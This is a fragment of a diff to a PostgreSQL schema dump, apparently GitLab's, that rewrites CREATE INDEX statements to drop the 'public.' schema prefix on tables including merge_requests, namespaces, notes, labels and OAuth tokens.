-CREATE INDEX index_jira_imports_on_project_id_and_jira_project_key ON public.jira_imports USING btree (project_id, jira_project_key);
+CREATE INDEX index_merge_request_assignees_on_merge_request_id ON merge_request_assignees USING btree (merge_request_id);
-CREATE INDEX index_jira_imports_on_user_id ON public.jira_imports USING btree (user_id);
+CREATE UNIQUE INDEX index_merge_request_assignees_on_merge_request_id_and_user_id ON merge_request_assignees USING btree (merge_request_id, user_id);
-CREATE INDEX index_jira_tracker_data_on_service_id ON public.jira_tracker_data USING btree (service_id);
+CREATE INDEX index_merge_request_assignees_on_user_id ON merge_request_assignees USING btree (user_id);
-CREATE UNIQUE INDEX index_keys_on_fingerprint ON public.keys USING btree (fingerprint);
+CREATE INDEX index_merge_request_blocks_on_blocked_merge_request_id ON merge_request_blocks USING btree (blocked_merge_request_id);
-CREATE INDEX index_keys_on_fingerprint_sha256 ON public.keys USING btree (fingerprint_sha256);
+CREATE UNIQUE INDEX index_merge_request_diff_commits_on_mr_diff_id_and_order ON merge_request_diff_commits USING btree (merge_request_diff_id, relative_order);
-CREATE INDEX index_keys_on_id_and_ldap_key_type ON public.keys USING btree (id) WHERE ((type)::text = 'LDAPKey'::text);
+CREATE INDEX index_merge_request_diff_commits_on_sha ON merge_request_diff_commits USING btree (sha);
-CREATE INDEX index_keys_on_last_used_at ON public.keys USING btree (last_used_at DESC NULLS LAST);
+CREATE INDEX index_merge_request_diff_details_on_merge_request_diff_id ON merge_request_diff_details USING btree (merge_request_diff_id);
-CREATE INDEX index_keys_on_user_id ON public.keys USING btree (user_id);
+CREATE UNIQUE INDEX index_merge_request_diff_files_on_mr_diff_id_and_order ON merge_request_diff_files USING btree (merge_request_diff_id, relative_order);
-CREATE UNIQUE INDEX index_kubernetes_namespaces_on_cluster_project_environment_id ON public.clusters_kubernetes_namespaces USING btree (cluster_id, project_id, environment_id);
+CREATE INDEX index_merge_request_diffs_by_id_partial ON merge_request_diffs USING btree (id) WHERE ((files_count > 0) AND ((NOT stored_externally) OR (stored_externally IS NULL)));
-CREATE INDEX index_label_links_on_label_id ON public.label_links USING btree (label_id);
+CREATE INDEX index_merge_request_diffs_on_external_diff_store ON merge_request_diffs USING btree (external_diff_store);
-CREATE INDEX index_label_links_on_target_id_and_target_type ON public.label_links USING btree (target_id, target_type);
+CREATE INDEX index_merge_request_diffs_on_merge_request_id_and_id ON merge_request_diffs USING btree (merge_request_id, id);
-CREATE INDEX index_label_priorities_on_label_id ON public.label_priorities USING btree (label_id);
+CREATE INDEX index_merge_request_metrics_on_first_deployed_to_production_at ON merge_request_metrics USING btree (first_deployed_to_production_at);
-CREATE INDEX index_label_priorities_on_priority ON public.label_priorities USING btree (priority);
+CREATE INDEX index_merge_request_metrics_on_latest_closed_at ON merge_request_metrics USING btree (latest_closed_at) WHERE (latest_closed_at IS NOT NULL);
-CREATE UNIQUE INDEX index_label_priorities_on_project_id_and_label_id ON public.label_priorities USING btree (project_id, label_id);
+CREATE INDEX index_merge_request_metrics_on_latest_closed_by_id ON merge_request_metrics USING btree (latest_closed_by_id);
-CREATE UNIQUE INDEX index_labels_on_group_id_and_project_id_and_title ON public.labels USING btree (group_id, project_id, title);
+CREATE INDEX index_merge_request_metrics_on_merge_request_id_and_merged_at ON merge_request_metrics USING btree (merge_request_id, merged_at) WHERE (merged_at IS NOT NULL);
-CREATE INDEX index_labels_on_group_id_and_title ON public.labels USING btree (group_id, title) WHERE (project_id = NULL::integer);
+CREATE INDEX index_merge_request_metrics_on_merged_at ON merge_request_metrics USING btree (merged_at);
-CREATE INDEX index_labels_on_project_id ON public.labels USING btree (project_id);
+CREATE INDEX index_merge_request_metrics_on_merged_by_id ON merge_request_metrics USING btree (merged_by_id);
-CREATE UNIQUE INDEX index_labels_on_project_id_and_title_unique ON public.labels USING btree (project_id, title) WHERE (group_id IS NULL);
+CREATE INDEX index_merge_request_metrics_on_pipeline_id ON merge_request_metrics USING btree (pipeline_id);
-CREATE INDEX index_labels_on_template ON public.labels USING btree (template) WHERE template;
+CREATE INDEX index_merge_request_metrics_on_target_project_id ON merge_request_metrics USING btree (target_project_id);
-CREATE INDEX index_labels_on_title ON public.labels USING btree (title);
+CREATE INDEX index_merge_request_metrics_on_target_project_id_merged_at ON merge_request_metrics USING btree (target_project_id, merged_at);
-CREATE INDEX index_labels_on_type_and_project_id ON public.labels USING btree (type, project_id);
+CREATE UNIQUE INDEX index_merge_request_reviewers_on_merge_request_id_and_user_id ON merge_request_reviewers USING btree (merge_request_id, user_id);
-CREATE UNIQUE INDEX index_lfs_file_locks_on_project_id_and_path ON public.lfs_file_locks USING btree (project_id, path);
+CREATE INDEX index_merge_request_reviewers_on_user_id ON merge_request_reviewers USING btree (user_id);
-CREATE INDEX index_lfs_file_locks_on_user_id ON public.lfs_file_locks USING btree (user_id);
+CREATE UNIQUE INDEX index_merge_request_user_mentions_on_note_id ON merge_request_user_mentions USING btree (note_id) WHERE (note_id IS NOT NULL);
-CREATE INDEX index_lfs_objects_on_file_store ON public.lfs_objects USING btree (file_store);
+CREATE INDEX index_merge_requests_closing_issues_on_issue_id ON merge_requests_closing_issues USING btree (issue_id);
-CREATE UNIQUE INDEX index_lfs_objects_on_oid ON public.lfs_objects USING btree (oid);
+CREATE INDEX index_merge_requests_closing_issues_on_merge_request_id ON merge_requests_closing_issues USING btree (merge_request_id);
-CREATE INDEX index_lfs_objects_projects_on_lfs_object_id ON public.lfs_objects_projects USING btree (lfs_object_id);
+CREATE INDEX index_merge_requests_on_assignee_id ON merge_requests USING btree (assignee_id);
-CREATE INDEX index_lfs_objects_projects_on_project_id_and_lfs_object_id ON public.lfs_objects_projects USING btree (project_id, lfs_object_id);
+CREATE INDEX index_merge_requests_on_author_id ON merge_requests USING btree (author_id);
-CREATE INDEX index_list_user_preferences_on_list_id ON public.list_user_preferences USING btree (list_id);
+CREATE INDEX index_merge_requests_on_created_at ON merge_requests USING btree (created_at);
-CREATE INDEX index_list_user_preferences_on_user_id ON public.list_user_preferences USING btree (user_id);
+CREATE INDEX index_merge_requests_on_description_trigram ON merge_requests USING gin (description gin_trgm_ops);
-CREATE UNIQUE INDEX index_list_user_preferences_on_user_id_and_list_id ON public.list_user_preferences USING btree (user_id, list_id);
+CREATE INDEX index_merge_requests_on_head_pipeline_id ON merge_requests USING btree (head_pipeline_id);
-CREATE UNIQUE INDEX index_lists_on_board_id_and_label_id ON public.lists USING btree (board_id, label_id);
+CREATE INDEX index_merge_requests_on_latest_merge_request_diff_id ON merge_requests USING btree (latest_merge_request_diff_id);
-CREATE INDEX index_lists_on_label_id ON public.lists USING btree (label_id);
+CREATE INDEX index_merge_requests_on_merge_user_id ON merge_requests USING btree (merge_user_id) WHERE (merge_user_id IS NOT NULL);
-CREATE INDEX index_lists_on_list_type ON public.lists USING btree (list_type);
+CREATE INDEX index_merge_requests_on_milestone_id ON merge_requests USING btree (milestone_id);
-CREATE INDEX index_lists_on_milestone_id ON public.lists USING btree (milestone_id);
+CREATE INDEX index_merge_requests_on_source_branch ON merge_requests USING btree (source_branch);
-CREATE INDEX index_lists_on_user_id ON public.lists USING btree (user_id);
+CREATE INDEX index_merge_requests_on_source_project_id_and_source_branch ON merge_requests USING btree (source_project_id, source_branch);
-CREATE INDEX index_members_on_access_level ON public.members USING btree (access_level);
+CREATE INDEX index_merge_requests_on_sprint_id ON merge_requests USING btree (sprint_id);
-CREATE INDEX index_members_on_expires_at ON public.members USING btree (expires_at);
+CREATE INDEX index_merge_requests_on_target_branch ON merge_requests USING btree (target_branch);
-CREATE INDEX index_members_on_invite_email ON public.members USING btree (invite_email);
+CREATE INDEX index_merge_requests_on_target_project_id_and_created_at_and_id ON merge_requests USING btree (target_project_id, created_at, id);
-CREATE UNIQUE INDEX index_members_on_invite_token ON public.members USING btree (invite_token);
+CREATE UNIQUE INDEX index_merge_requests_on_target_project_id_and_iid ON merge_requests USING btree (target_project_id, iid);
-CREATE INDEX index_members_on_requested_at ON public.members USING btree (requested_at);
+CREATE INDEX index_merge_requests_on_target_project_id_and_target_branch ON merge_requests USING btree (target_project_id, target_branch) WHERE ((state_id = 1) AND (merge_when_pipeline_succeeds = true));
-CREATE INDEX index_members_on_source_id_and_source_type ON public.members USING btree (source_id, source_type);
+CREATE INDEX index_merge_requests_on_title ON merge_requests USING btree (title);
-CREATE INDEX index_members_on_user_id ON public.members USING btree (user_id);
+CREATE INDEX index_merge_requests_on_title_trigram ON merge_requests USING gin (title gin_trgm_ops);
-CREATE INDEX index_members_on_user_id_created_at ON public.members USING btree (user_id, created_at) WHERE ((ldap = true) AND ((type)::text = 'GroupMember'::text) AND ((source_type)::text = 'Namespace'::text));
+CREATE INDEX index_merge_requests_on_tp_id_and_merge_commit_sha_and_id ON merge_requests USING btree (target_project_id, merge_commit_sha, id);
-CREATE INDEX index_merge_request_assignees_on_merge_request_id ON public.merge_request_assignees USING btree (merge_request_id);
+CREATE INDEX index_merge_requests_on_updated_by_id ON merge_requests USING btree (updated_by_id) WHERE (updated_by_id IS NOT NULL);
-CREATE UNIQUE INDEX index_merge_request_assignees_on_merge_request_id_and_user_id ON public.merge_request_assignees USING btree (merge_request_id, user_id);
+CREATE UNIQUE INDEX index_merge_trains_on_merge_request_id ON merge_trains USING btree (merge_request_id);
-CREATE INDEX index_merge_request_assignees_on_user_id ON public.merge_request_assignees USING btree (user_id);
+CREATE INDEX index_merge_trains_on_pipeline_id ON merge_trains USING btree (pipeline_id);
-CREATE INDEX index_merge_request_blocks_on_blocked_merge_request_id ON public.merge_request_blocks USING btree (blocked_merge_request_id);
+CREATE INDEX index_merge_trains_on_user_id ON merge_trains USING btree (user_id);
-CREATE UNIQUE INDEX index_merge_request_diff_commits_on_mr_diff_id_and_order ON public.merge_request_diff_commits USING btree (merge_request_diff_id, relative_order);
+CREATE INDEX index_metrics_dashboard_annotations_on_cluster_id_and_3_columns ON metrics_dashboard_annotations USING btree (cluster_id, dashboard_path, starting_at, ending_at) WHERE (cluster_id IS NOT NULL);
-CREATE INDEX index_merge_request_diff_commits_on_sha ON public.merge_request_diff_commits USING btree (sha);
+CREATE INDEX index_metrics_dashboard_annotations_on_environment_id_and_3_col ON metrics_dashboard_annotations USING btree (environment_id, dashboard_path, starting_at, ending_at) WHERE (environment_id IS NOT NULL);
-CREATE UNIQUE INDEX index_merge_request_diff_files_on_mr_diff_id_and_order ON public.merge_request_diff_files USING btree (merge_request_diff_id, relative_order);
+CREATE INDEX index_metrics_dashboard_annotations_on_timespan_end ON metrics_dashboard_annotations USING btree (COALESCE(ending_at, starting_at));
-CREATE INDEX index_merge_request_diffs_by_id_partial ON public.merge_request_diffs USING btree (id) WHERE ((files_count > 0) AND ((NOT stored_externally) OR (stored_externally IS NULL)));
+CREATE INDEX index_metrics_users_starred_dashboards_on_project_id ON metrics_users_starred_dashboards USING btree (project_id);
-CREATE INDEX index_merge_request_diffs_external_diff_store_is_null ON public.merge_request_diffs USING btree (id) WHERE (external_diff_store IS NULL);
+CREATE INDEX index_milestone_releases_on_release_id ON milestone_releases USING btree (release_id);
-CREATE INDEX index_merge_request_diffs_on_external_diff_store ON public.merge_request_diffs USING btree (external_diff_store);
+CREATE INDEX index_milestones_on_description_trigram ON milestones USING gin (description gin_trgm_ops);
-CREATE INDEX index_merge_request_diffs_on_merge_request_id_and_id ON public.merge_request_diffs USING btree (merge_request_id, id);
+CREATE INDEX index_milestones_on_due_date ON milestones USING btree (due_date);
-CREATE INDEX index_merge_request_metrics_on_first_deployed_to_production_at ON public.merge_request_metrics USING btree (first_deployed_to_production_at);
+CREATE INDEX index_milestones_on_group_id ON milestones USING btree (group_id);
-CREATE INDEX index_merge_request_metrics_on_latest_closed_at ON public.merge_request_metrics USING btree (latest_closed_at) WHERE (latest_closed_at IS NOT NULL);
+CREATE UNIQUE INDEX index_milestones_on_project_id_and_iid ON milestones USING btree (project_id, iid);
-CREATE INDEX index_merge_request_metrics_on_latest_closed_by_id ON public.merge_request_metrics USING btree (latest_closed_by_id);
+CREATE INDEX index_milestones_on_title ON milestones USING btree (title);
-CREATE INDEX index_merge_request_metrics_on_merge_request_id_and_merged_at ON public.merge_request_metrics USING btree (merge_request_id, merged_at) WHERE (merged_at IS NOT NULL);
+CREATE INDEX index_milestones_on_title_trigram ON milestones USING gin (title gin_trgm_ops);
-CREATE INDEX index_merge_request_metrics_on_merged_at ON public.merge_request_metrics USING btree (merged_at);
+CREATE UNIQUE INDEX index_miletone_releases_on_milestone_and_release ON milestone_releases USING btree (milestone_id, release_id);
-CREATE INDEX index_merge_request_metrics_on_merged_by_id ON public.merge_request_metrics USING btree (merged_by_id);
+CREATE INDEX index_mirror_data_on_next_execution_and_retry_count ON project_mirror_data USING btree (next_execution_timestamp, retry_count);
-CREATE INDEX index_merge_request_metrics_on_pipeline_id ON public.merge_request_metrics USING btree (pipeline_id);
+CREATE UNIQUE INDEX index_mr_blocks_on_blocking_and_blocked_mr_ids ON merge_request_blocks USING btree (blocking_merge_request_id, blocked_merge_request_id);
-CREATE INDEX index_merge_request_metrics_on_target_project_id ON public.merge_request_metrics USING btree (target_project_id);
+CREATE UNIQUE INDEX index_mr_context_commits_on_merge_request_id_and_sha ON merge_request_context_commits USING btree (merge_request_id, sha);
-CREATE INDEX index_merge_request_metrics_on_target_project_id_merged_at ON public.merge_request_metrics USING btree (target_project_id, merged_at);
+CREATE UNIQUE INDEX index_namespace_aggregation_schedules_on_namespace_id ON namespace_aggregation_schedules USING btree (namespace_id);
-CREATE UNIQUE INDEX index_merge_request_user_mentions_on_note_id ON public.merge_request_user_mentions USING btree (note_id) WHERE (note_id IS NOT NULL);
+CREATE UNIQUE INDEX index_namespace_root_storage_statistics_on_namespace_id ON namespace_root_storage_statistics USING btree (namespace_id);
-CREATE INDEX index_merge_requests_closing_issues_on_issue_id ON public.merge_requests_closing_issues USING btree (issue_id);
+CREATE UNIQUE INDEX index_namespace_statistics_on_namespace_id ON namespace_statistics USING btree (namespace_id);
-CREATE INDEX index_merge_requests_closing_issues_on_merge_request_id ON public.merge_requests_closing_issues USING btree (merge_request_id);
+CREATE INDEX index_namespaces_on_created_at ON namespaces USING btree (created_at);
-CREATE INDEX index_merge_requests_on_assignee_id ON public.merge_requests USING btree (assignee_id);
+CREATE INDEX index_namespaces_on_custom_project_templates_group_id_and_type ON namespaces USING btree (custom_project_templates_group_id, type) WHERE (custom_project_templates_group_id IS NOT NULL);
-CREATE INDEX index_merge_requests_on_author_id ON public.merge_requests USING btree (author_id);
+CREATE INDEX index_namespaces_on_file_template_project_id ON namespaces USING btree (file_template_project_id);
-CREATE INDEX index_merge_requests_on_created_at ON public.merge_requests USING btree (created_at);
+CREATE INDEX index_namespaces_on_ldap_sync_last_successful_update_at ON namespaces USING btree (ldap_sync_last_successful_update_at);
-CREATE INDEX index_merge_requests_on_description_trigram ON public.merge_requests USING gin (description public.gin_trgm_ops);
+CREATE INDEX index_namespaces_on_ldap_sync_last_update_at ON namespaces USING btree (ldap_sync_last_update_at);
-CREATE INDEX index_merge_requests_on_head_pipeline_id ON public.merge_requests USING btree (head_pipeline_id);
+CREATE UNIQUE INDEX index_namespaces_on_name_and_parent_id ON namespaces USING btree (name, parent_id);
-CREATE INDEX index_merge_requests_on_latest_merge_request_diff_id ON public.merge_requests USING btree (latest_merge_request_diff_id);
+CREATE INDEX index_namespaces_on_name_trigram ON namespaces USING gin (name gin_trgm_ops);
-CREATE INDEX index_merge_requests_on_merge_user_id ON public.merge_requests USING btree (merge_user_id) WHERE (merge_user_id IS NOT NULL);
+CREATE INDEX index_namespaces_on_owner_id ON namespaces USING btree (owner_id);
-CREATE INDEX index_merge_requests_on_milestone_id ON public.merge_requests USING btree (milestone_id);
+CREATE UNIQUE INDEX index_namespaces_on_parent_id_and_id ON namespaces USING btree (parent_id, id);
-CREATE INDEX index_merge_requests_on_source_branch ON public.merge_requests USING btree (source_branch);
+CREATE INDEX index_namespaces_on_path ON namespaces USING btree (path);
-CREATE INDEX index_merge_requests_on_source_project_id_and_source_branch ON public.merge_requests USING btree (source_project_id, source_branch);
+CREATE INDEX index_namespaces_on_path_trigram ON namespaces USING gin (path gin_trgm_ops);
-CREATE INDEX index_merge_requests_on_sprint_id ON public.merge_requests USING btree (sprint_id);
+CREATE UNIQUE INDEX index_namespaces_on_push_rule_id ON namespaces USING btree (push_rule_id);
-CREATE INDEX index_merge_requests_on_target_branch ON public.merge_requests USING btree (target_branch);
+CREATE INDEX index_namespaces_on_require_two_factor_authentication ON namespaces USING btree (require_two_factor_authentication);
-CREATE UNIQUE INDEX index_merge_requests_on_target_project_id_and_iid ON public.merge_requests USING btree (target_project_id, iid);
+CREATE UNIQUE INDEX index_namespaces_on_runners_token ON namespaces USING btree (runners_token);
-CREATE INDEX index_merge_requests_on_target_project_id_and_target_branch ON public.merge_requests USING btree (target_project_id, target_branch) WHERE ((state_id = 1) AND (merge_when_pipeline_succeeds = true));
+CREATE UNIQUE INDEX index_namespaces_on_runners_token_encrypted ON namespaces USING btree (runners_token_encrypted);
-CREATE INDEX index_merge_requests_on_title ON public.merge_requests USING btree (title);
+CREATE INDEX index_namespaces_on_shared_and_extra_runners_minutes_limit ON namespaces USING btree (shared_runners_minutes_limit, extra_shared_runners_minutes_limit);
-CREATE INDEX index_merge_requests_on_title_trigram ON public.merge_requests USING gin (title public.gin_trgm_ops);
+CREATE INDEX index_namespaces_on_type_partial ON namespaces USING btree (type) WHERE (type IS NOT NULL);
-CREATE INDEX index_merge_requests_on_tp_id_and_merge_commit_sha_and_id ON public.merge_requests USING btree (target_project_id, merge_commit_sha, id);
+CREATE INDEX index_non_requested_project_members_on_source_id_and_type ON members USING btree (source_id, source_type) WHERE ((requested_at IS NULL) AND ((type)::text = 'ProjectMember'::text));
-CREATE INDEX index_merge_requests_on_updated_by_id ON public.merge_requests USING btree (updated_by_id) WHERE (updated_by_id IS NOT NULL);
+CREATE UNIQUE INDEX index_note_diff_files_on_diff_note_id ON note_diff_files USING btree (diff_note_id);
-CREATE INDEX index_merge_requests_target_project_id_created_at ON public.merge_requests USING btree (target_project_id, created_at);
+CREATE INDEX index_notes_on_author_id_and_created_at_and_id ON notes USING btree (author_id, created_at, id);
-CREATE UNIQUE INDEX index_merge_trains_on_merge_request_id ON public.merge_trains USING btree (merge_request_id);
+CREATE INDEX index_notes_on_commit_id ON notes USING btree (commit_id);
-CREATE INDEX index_merge_trains_on_pipeline_id ON public.merge_trains USING btree (pipeline_id);
+CREATE INDEX index_notes_on_created_at ON notes USING btree (created_at);
-CREATE INDEX index_merge_trains_on_user_id ON public.merge_trains USING btree (user_id);
+CREATE INDEX index_notes_on_discussion_id ON notes USING btree (discussion_id);
-CREATE INDEX index_metrics_dashboard_annotations_on_cluster_id_and_3_columns ON public.metrics_dashboard_annotations USING btree (cluster_id, dashboard_path, starting_at, ending_at) WHERE (cluster_id IS NOT NULL);
+CREATE INDEX index_notes_on_line_code ON notes USING btree (line_code);
-CREATE INDEX index_metrics_dashboard_annotations_on_environment_id_and_3_col ON public.metrics_dashboard_annotations USING btree (environment_id, dashboard_path, starting_at, ending_at) WHERE (environment_id IS NOT NULL);
+CREATE INDEX index_notes_on_note_trigram ON notes USING gin (note gin_trgm_ops);
-CREATE INDEX index_metrics_dashboard_annotations_on_timespan_end ON public.metrics_dashboard_annotations USING btree (COALESCE(ending_at, starting_at));
+CREATE INDEX index_notes_on_noteable_id_and_noteable_type ON notes USING btree (noteable_id, noteable_type);
-CREATE INDEX index_metrics_users_starred_dashboards_on_project_id ON public.metrics_users_starred_dashboards USING btree (project_id);
+CREATE INDEX index_notes_on_project_id_and_id_and_system_false ON notes USING btree (project_id, id) WHERE (NOT system);
-CREATE INDEX index_milestone_releases_on_release_id ON public.milestone_releases USING btree (release_id);
+CREATE INDEX index_notes_on_project_id_and_noteable_type ON notes USING btree (project_id, noteable_type);
-CREATE INDEX index_milestones_on_description_trigram ON public.milestones USING gin (description public.gin_trgm_ops);
+CREATE INDEX index_notes_on_review_id ON notes USING btree (review_id);
-CREATE INDEX index_milestones_on_due_date ON public.milestones USING btree (due_date);
+CREATE INDEX index_notification_settings_on_source_id_and_source_type ON notification_settings USING btree (source_id, source_type);
-CREATE INDEX index_milestones_on_group_id ON public.milestones USING btree (group_id);
+CREATE INDEX index_notification_settings_on_user_id ON notification_settings USING btree (user_id);
-CREATE UNIQUE INDEX index_milestones_on_project_id_and_iid ON public.milestones USING btree (project_id, iid);
+CREATE UNIQUE INDEX index_notifications_on_user_id_and_source_id_and_source_type ON notification_settings USING btree (user_id, source_id, source_type);
-CREATE INDEX index_milestones_on_title ON public.milestones USING btree (title);
+CREATE UNIQUE INDEX index_oauth_access_grants_on_token ON oauth_access_grants USING btree (token);
-CREATE INDEX index_milestones_on_title_trigram ON public.milestones USING gin (title public.gin_trgm_ops);
+CREATE INDEX index_oauth_access_tokens_on_application_id ON oauth_access_tokens USING btree (application_id);
-CREATE UNIQUE INDEX index_miletone_releases_on_milestone_and_release ON public.milestone_releases USING btree (milestone_id, release_id);
+CREATE UNIQUE INDEX index_oauth_access_tokens_on_refresh_token ON oauth_access_tokens USING btree (refresh_token);
-CREATE INDEX index_mirror_data_on_next_execution_and_retry_count ON public.project_mirror_data USING btree (next_execution_timestamp, retry_count);
+CREATE INDEX index_oauth_access_tokens_on_resource_owner_id ON oauth_access_tokens USING btree (resource_owner_id);
-CREATE UNIQUE INDEX index_mr_blocks_on_blocking_and_blocked_mr_ids ON public.merge_request_blocks USING btree (blocking_merge_request_id, blocked_merge_request_id);
+CREATE UNIQUE INDEX index_oauth_access_tokens_on_token ON oauth_access_tokens USING btree (token);
-CREATE UNIQUE INDEX index_mr_context_commits_on_merge_request_id_and_sha ON public.merge_request_context_commits USING btree (merge_request_id, sha);
+CREATE INDEX index_oauth_applications_on_owner_id_and_owner_type ON oauth_applications USING btree (owner_id, owner_type);
-CREATE UNIQUE INDEX index_namespace_aggregation_schedules_on_namespace_id ON public.namespace_aggregation_schedules USING btree (namespace_id);
+CREATE UNIQUE INDEX index_oauth_applications_on_uid ON oauth_applications USING btree (uid);
-CREATE UNIQUE INDEX index_namespace_root_storage_statistics_on_namespace_id ON public.namespace_root_storage_statistics USING btree (namespace_id);
+CREATE INDEX index_oauth_openid_requests_on_access_grant_id ON oauth_openid_requests USING btree (access_grant_id);
-CREATE UNIQUE INDEX index_namespace_statistics_on_namespace_id ON public.namespace_statistics USING btree (namespace_id);
+CREATE UNIQUE INDEX index_on_deploy_keys_id_and_type_and_public ON keys USING btree (id, type) WHERE (public = true);
-CREATE INDEX index_namespaces_on_created_at ON public.namespaces USING btree (created_at);
+CREATE INDEX index_on_id_partial_with_legacy_storage ON projects USING btree (id) WHERE ((storage_version < 2) OR (storage_version IS NULL));
-CREATE INDEX index_namespaces_on_custom_project_templates_group_id_and_type ON public.namespaces USING btree (custom_project_templates_group_id, type) WHERE (custom_project_templates_group_id IS NOT NULL);
+CREATE INDEX index_on_identities_lower_extern_uid_and_provider ON identities USING btree (lower((extern_uid)::text), provider);
-CREATE INDEX index_namespaces_on_file_template_project_id ON public.namespaces USING btree (file_template_project_id);
+CREATE UNIQUE INDEX index_on_instance_statistics_recorded_at_and_identifier ON analytics_instance_statistics_measurements USING btree (identifier, recorded_at);
-CREATE INDEX index_namespaces_on_ldap_sync_last_successful_update_at ON public.namespaces USING btree (ldap_sync_last_successful_update_at);
+CREATE INDEX index_on_label_links_all_columns ON label_links USING btree (target_id, label_id, target_type);
-CREATE INDEX index_namespaces_on_ldap_sync_last_update_at ON public.namespaces USING btree (ldap_sync_last_update_at);
+CREATE INDEX index_on_users_name_lower ON users USING btree (lower((name)::text));
-CREATE UNIQUE INDEX index_namespaces_on_name_and_parent_id ON public.namespaces USING btree (name, parent_id);
+CREATE INDEX index_open_project_tracker_data_on_service_id ON open_project_tracker_data USING btree (service_id);
-CREATE INDEX index_namespaces_on_name_trigram ON public.namespaces USING gin (name public.gin_trgm_ops);
+CREATE INDEX index_operations_feature_flags_issues_on_issue_id ON operations_feature_flags_issues USING btree (issue_id);
-CREATE INDEX index_namespaces_on_owner_id ON public.namespaces USING btree (owner_id);
+CREATE UNIQUE INDEX index_operations_feature_flags_on_project_id_and_iid ON operations_feature_flags USING btree (project_id, iid);
-CREATE UNIQUE INDEX index_namespaces_on_parent_id_and_id ON public.namespaces USING btree (parent_id, id);
+CREATE UNIQUE INDEX index_operations_feature_flags_on_project_id_and_name ON operations_feature_flags USING btree (project_id, name);
-CREATE INDEX index_namespaces_on_path ON public.namespaces USING btree (path);
+CREATE UNIQUE INDEX index_operations_scopes_on_strategy_id_and_environment_scope ON operations_scopes USING btree (strategy_id, environment_scope);
-CREATE INDEX index_namespaces_on_path_trigram ON public.namespaces USING gin (path public.gin_trgm_ops);
+CREATE INDEX index_operations_strategies_on_feature_flag_id ON operations_strategies USING btree (feature_flag_id);
-CREATE UNIQUE INDEX index_namespaces_on_push_rule_id ON public.namespaces USING btree (push_rule_id);
+CREATE INDEX index_operations_strategies_user_lists_on_user_list_id ON operations_strategies_user_lists USING btree (user_list_id);
-CREATE INDEX index_namespaces_on_require_two_factor_authentication ON public.namespaces USING btree (require_two_factor_authentication);
+CREATE UNIQUE INDEX index_operations_user_lists_on_project_id_and_iid ON operations_user_lists USING btree (project_id, iid);
-CREATE UNIQUE INDEX index_namespaces_on_runners_token ON public.namespaces USING btree (runners_token);
+CREATE UNIQUE INDEX index_operations_user_lists_on_project_id_and_name ON operations_user_lists USING btree (project_id, name);
-CREATE UNIQUE INDEX index_namespaces_on_runners_token_encrypted ON public.namespaces USING btree (runners_token_encrypted);
+CREATE UNIQUE INDEX index_ops_feature_flags_issues_on_feature_flag_id_and_issue_id ON operations_feature_flags_issues USING btree (feature_flag_id, issue_id);
-CREATE INDEX index_namespaces_on_shared_and_extra_runners_minutes_limit ON public.namespaces USING btree (shared_runners_minutes_limit, extra_shared_runners_minutes_limit);
+CREATE UNIQUE INDEX index_ops_strategies_user_lists_on_strategy_id_and_user_list_id ON operations_strategies_user_lists USING btree (strategy_id, user_list_id);
-CREATE INDEX index_namespaces_on_type_partial ON public.namespaces USING btree (type) WHERE (type IS NOT NULL);
+CREATE UNIQUE INDEX index_packages_build_infos_on_package_id ON packages_build_infos USING btree (package_id);
-CREATE INDEX index_non_requested_project_members_on_source_id_and_type ON public.members USING btree (source_id, source_type) WHERE ((requested_at IS NULL) AND ((type)::text = 'ProjectMember'::text));
+CREATE INDEX index_packages_build_infos_on_pipeline_id ON packages_build_infos USING btree (pipeline_id);
-CREATE UNIQUE INDEX index_note_diff_files_on_diff_note_id ON public.note_diff_files USING btree (diff_note_id);
+CREATE UNIQUE INDEX index_packages_composer_metadata_on_package_id_and_target_sha ON packages_composer_metadata USING btree (package_id, target_sha);
-CREATE INDEX index_notes_on_author_id_and_created_at_and_id ON public.notes USING btree (author_id, created_at, id);
+CREATE UNIQUE INDEX index_packages_conan_file_metadata_on_package_file_id ON packages_conan_file_metadata USING btree (package_file_id);
-CREATE INDEX index_notes_on_commit_id ON public.notes USING btree (commit_id);
+CREATE UNIQUE INDEX index_packages_conan_metadata_on_package_id_username_channel ON packages_conan_metadata USING btree (package_id, package_username, package_channel);
-CREATE INDEX index_notes_on_created_at ON public.notes USING btree (created_at);
+CREATE UNIQUE INDEX index_packages_dependencies_on_name_and_version_pattern ON packages_dependencies USING btree (name, version_pattern);
-CREATE INDEX index_notes_on_discussion_id ON public.notes USING btree (discussion_id);
+CREATE INDEX index_packages_dependency_links_on_dependency_id ON packages_dependency_links USING btree (dependency_id);
-CREATE INDEX index_notes_on_line_code ON public.notes USING btree (line_code);
+CREATE INDEX index_packages_maven_metadata_on_package_id_and_path ON packages_maven_metadata USING btree (package_id, path);
-CREATE INDEX index_notes_on_note_trigram ON public.notes USING gin (note public.gin_trgm_ops);
+CREATE INDEX index_packages_nuget_dl_metadata_on_dependency_link_id ON packages_nuget_dependency_link_metadata USING btree (dependency_link_id);
-CREATE INDEX index_notes_on_noteable_id_and_noteable_type ON public.notes USING btree (noteable_id, noteable_type);
+CREATE UNIQUE INDEX index_packages_on_project_id_name_version_unique_when_generic ON packages_packages USING btree (project_id, name, version) WHERE (package_type = 7);
-CREATE INDEX index_notes_on_project_id_and_id_and_system_false ON public.notes USING btree (project_id, id) WHERE (NOT system);
+CREATE INDEX index_packages_package_files_file_store_is_null ON packages_package_files USING btree (id) WHERE (file_store IS NULL);
-CREATE INDEX index_notes_on_project_id_and_noteable_type ON public.notes USING btree (project_id, noteable_type);
+CREATE INDEX index_packages_package_files_on_file_store ON packages_package_files USING btree (file_store);
-CREATE INDEX index_notes_on_review_id ON public.notes USING btree (review_id);
+CREATE INDEX index_packages_package_files_on_package_id_and_file_name ON packages_package_files USING btree (package_id, file_name);
-CREATE INDEX index_notification_settings_on_source_id_and_source_type ON public.notification_settings USING btree (source_id, source_type);
+CREATE INDEX index_packages_packages_on_creator_id ON packages_packages USING btree (creator_id);
-CREATE INDEX index_notification_settings_on_user_id ON public.notification_settings USING btree (user_id);
+CREATE INDEX index_packages_packages_on_id_and_created_at ON packages_packages USING btree (id, created_at);
-CREATE UNIQUE INDEX index_notifications_on_user_id_and_source_id_and_source_type ON public.notification_settings USING btree (user_id, source_id, source_type);
+CREATE INDEX index_packages_packages_on_name_trigram ON packages_packages USING gin (name gin_trgm_ops);
-CREATE UNIQUE INDEX index_oauth_access_grants_on_token ON public.oauth_access_grants USING btree (token);
+CREATE INDEX index_packages_packages_on_project_id_and_created_at ON packages_packages USING btree (project_id, created_at);
-CREATE INDEX index_oauth_access_tokens_on_application_id ON public.oauth_access_tokens USING btree (application_id);
